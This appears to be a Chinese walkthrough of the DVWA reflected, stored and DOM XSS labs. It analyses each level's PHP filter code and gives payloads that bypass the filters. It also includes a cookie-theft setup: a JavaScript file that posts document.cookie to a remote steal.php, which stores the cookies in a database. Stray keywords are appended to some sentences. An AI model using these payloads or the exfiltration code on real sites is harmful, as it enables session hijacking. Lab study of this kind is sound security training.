DVWA-從入門到放棄之XSS(Reflected,Stored,DOM)

XSS-跨站腳本攻擊,在某種意義上也是一種注入型攻擊
XSS不單單限於JavaScript,還包括flash等其它腳本語言
根據惡意代碼 是否存儲在服務器中,XSS能夠分爲存儲型的XSS(Stored)與反射型的XSS(Reflected)
DOM型的XSS因爲其特殊性,是一種基於DOM樹的XSS,被分爲第三種

XSS(Reflected)

Low

代碼分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?> 
#array_key_exists()函數檢查數組裏是否有指定的鍵名或索引。有返回true,沒有返回false

能夠看到,代碼直接引用了name參數,並沒有任何的過濾與檢查,存在明顯的XSS漏洞javascript

操做步驟

輸入<script>alert(1)</script>php

clipboard.png
能夠看到成功出現彈窗html

F12進入開發者模式能夠看到瀏覽器成功將咱們的輸入做爲HTML元素解釋運行前端

clipboard.png


Medium

代碼分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

Medium級別的代碼相對於Low級別的代碼使用str_replace函數將輸入中的<script>刪除java

操做步驟

只刪除<script>標籤的狀況是很容易繞過的:
1.使用雙寫繞過,輸入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小寫繞過,輸入<sCript>alert(document.cookie)</script>
3.輸入其餘標籤,如<IMG src=1 onerror=alert(document.cookie)>
能夠看到結果:mysql

clipboard.png

獲取到了當前用戶的cookie,這結合csrf(跨站請求僞造)攻擊危害是很大的web


High

代碼分析

<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

能夠看到High級別的代碼使用了preg_replace函數執行一個正則表達式的搜索和替換
其中/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i是正則表達式(.*)表示貪婪匹配,/i表示不區分大小寫
因此在High級別的代碼中,全部關於<script>標籤均被過濾刪除了正則表達式

操做步驟

雖然<script>標籤無論用了,可是能夠使用其餘標籤繞過
輸入<IMG src=1 onerror=alert(document.cookie)>一樣獲得Medium級別的結果sql


Impossible

代碼分析

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

能夠看到Impossible級別的代碼使用htmlspecialchars函數把預約義的字符&、"、'、<、>轉換爲 HTML 實體,防止瀏覽器將其做爲HTML元素。還加入了Anti-CSRF token,防止結合csrf攻擊數據庫

分析總結

雖然利用了htmlspecialchars()函數將用戶的輸入進行過濾,可是在特定狀況下須要用戶輸入一些被過濾,會丟失原始數據。且htmlspecialchars本質也是黑名單過濾,沒有絕對安全

XSS(Stored)

Low

代碼分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitize name input
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

函數介紹:
isset()函數在php中用來檢測變量是否設置,該函數返回的是布爾類型的值,即true/false
trim()函數做用爲移除字符串兩側空白字符或其餘預約義字符
stripslashes()函數用於刪除字符串中的反斜槓
mysqli_real_escape_string()函數會對字符串中的特殊符號(\x00,\n,\r,\,',",\x1a)進行轉義
在代碼中對message,name輸入框內容沒有進行XSS方面的過濾和檢查。且經過query語句插入到數據庫中。因此存在存儲型XSS漏洞

操做步驟

因爲name和message輸入框均存在xss。但name輸入框有字符限制,這裏能夠使用burpsuite抓包修改name輸入框內容:<script>alert(document.cookie)</script>

clipboard.png

點擊Forward獲得結果

clipboard.png

F12打開開發者模式能夠看到輸入內容被前端html代碼解析運行:

clipboard.png

因爲提交的結果存儲在數據庫中,因此每次刷新頁面,輸入的惡意代碼就會被執行一次

Medium

代碼分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

strip_tags()函數剝去字符串中的 HTML、XML 以及 PHP 的標籤,但容許使用<b>標籤。
addslashes()函數返回在預約義字符(單引號、雙引號、反斜槓、NULL)以前添加反斜槓的字符串。
htmlspecialchars()函數把預約義的字符&、"、'、<、>轉換爲 HTML 實體,防止瀏覽器將其做爲HTML元素
一頓操做對message輸入內容進行檢測過濾,所以沒法再經過message參數注入XSS代碼
可是對於name參數,只是簡單過濾了<script>字符串,仍然存在存儲型的XSS。

操做步驟

抓包修改name輸入內容:(和以前反射型XSS-Medium級別payload一致)
1.使用雙寫繞過,輸入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小寫繞過,輸入<sCript>alert(document.cookie)</script>
3.輸入其餘標籤,如<IMG src=1 onerror=alert(document.cookie)>

High

代碼分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    //mysql_close();
}

?>

和反射型XSS-High級別代碼功能一致。對name輸入內容利用正則匹配刪除全部關於<script>標籤

操做步驟

使用其餘標籤:<IMG src=1 onerror=alert(document.cookie)>

Impossible

代碼分析

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = stripslashes( $message );
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = stripslashes( $name );
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $name = htmlspecialchars( $name );

    // Update database
    $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
    $data->bindParam( ':message', $message, PDO::PARAM_STR );
    $data->bindParam( ':name', $name, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

在Impossible代碼中一樣對name內容使用htmlspecialchars()函數,還加入了Anti-CSRF token,防止結合csrf攻擊

可是若是htmlspecialchars函數使用不當,攻擊者就能夠經過編碼的方式繞過函數進行XSS注入,尤爲是DOM型的XSS

自我總結

咱們能夠看到,在Reflected和Stored類型的XSS中每一個級別的差別只是過濾黑名單的完善程度不同。由此,總結一個按照級別分類的XSS輸入的payloads

擴展-利用XSS獲取用戶cookie構造csrf攻擊

clipboard.pngclipboard.pngclipboard.png

其實,在上述例子的XSS危害只是彈窗,並不能實際獲取到cookie,下面演示怎樣遠程獲取用戶cookie:

原理:

因爲script標籤能夠加載遠程服務器的javascript代碼而且執行,因此在遠程服務器編寫一個cookie.js

document.write("<form action='http://192.168.30.135/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();

這段js代碼的做用是在頁面中構造一個隱藏表單和一個隱藏域,內容爲當前的cookie,而且以post方式發送到同目錄下的steal.php:

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
    $sql="insert into low(cookie) values('".$_GET['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else if(isset($_POST['data']))
{
    $sql="insert into low(cookie) values('".$_POST['data']."');";
    $result=mysql_query($sql,$conn);
    mysql_close();
}
else
{
    $sql="select * from low";
    $result=mysql_query($sql,$conn);
    while($row=mysql_fetch_array($result))
    {
        echo "偷取的cookie:".$row[1]."</br>";
    }
    mysql_close();
}
?>

steal.php會將咱們獲取到的cookie存到數據庫中,搞事以前先建立數據庫和相應的表(字段):

create database dvwacookie;#建立數據庫
use dvwacookie;#進入dvwacookie數據庫
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
#建立一個low表,字段id-int類型,主鍵,值自動增加、字段cookie

接下來在XSS漏洞位置插入:

<script src=http://192.168.50.150/dvwaxss/cookie.js></script>

就能夠獲取用戶cookie。參考連接在此,與本做者無關

XSS(DOM)

對於DOM型的XSS是一種基於DOM樹的一種代碼注入攻擊方式,能夠是反射型的,也能夠是存儲型的
最大的特色就是 不與後臺服務器交互,只是經過瀏覽器的DOM樹解析產生

介紹下DOM:

HTML DOM 是關於如何獲取、修改、添加或刪除 HTML 元素的標準
簡單來講DOM主要研究的是 節點,全部節點可經過 javascript訪問(增,刪,改,查)

可能觸發DOM型XSS屬性:本實驗中主要用到的就是document.write屬性

document.write屬性
document.referer屬性
innerHTML屬性
windows.name屬性
location屬性

Low

代碼分析

<?php

# No protections, anything goes

?>

能夠,很直接

操做步驟

1.正常輸入English和French,F12打開開發者模式能夠看見

clipboard.png

clipboard.png

如今來分析一下<script>標籤中的代碼:

if (document.location.href.indexOf("default=") >= 0)
{
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
                }
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");

#'document.location.href.indexOf()函數截取url中指定參數後面的內容
#document.location.href.substring()函數截取字符串
#decodeURI()函數將編碼過的URI進行解碼
#docunment.write()能夠將HTML表達式或JavaScript代碼
從<script>標籤的代碼能夠看出來其做用簡單來講就是把url中的內容提取出來寫入到html元素中

2.那咱們直接構造url,在"default="後加<script>alert(document.cookie)</script>

clipboard.png

F12審查元素:

clipboard.png

能夠看到和以前正常輸入相比較,第一個option標籤,就是<script>標籤中document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");改變的內容,其中:decodeURI(lang) = <script>alert(document.cookie)</script>被解釋運行

相關文章
相關標籤/搜索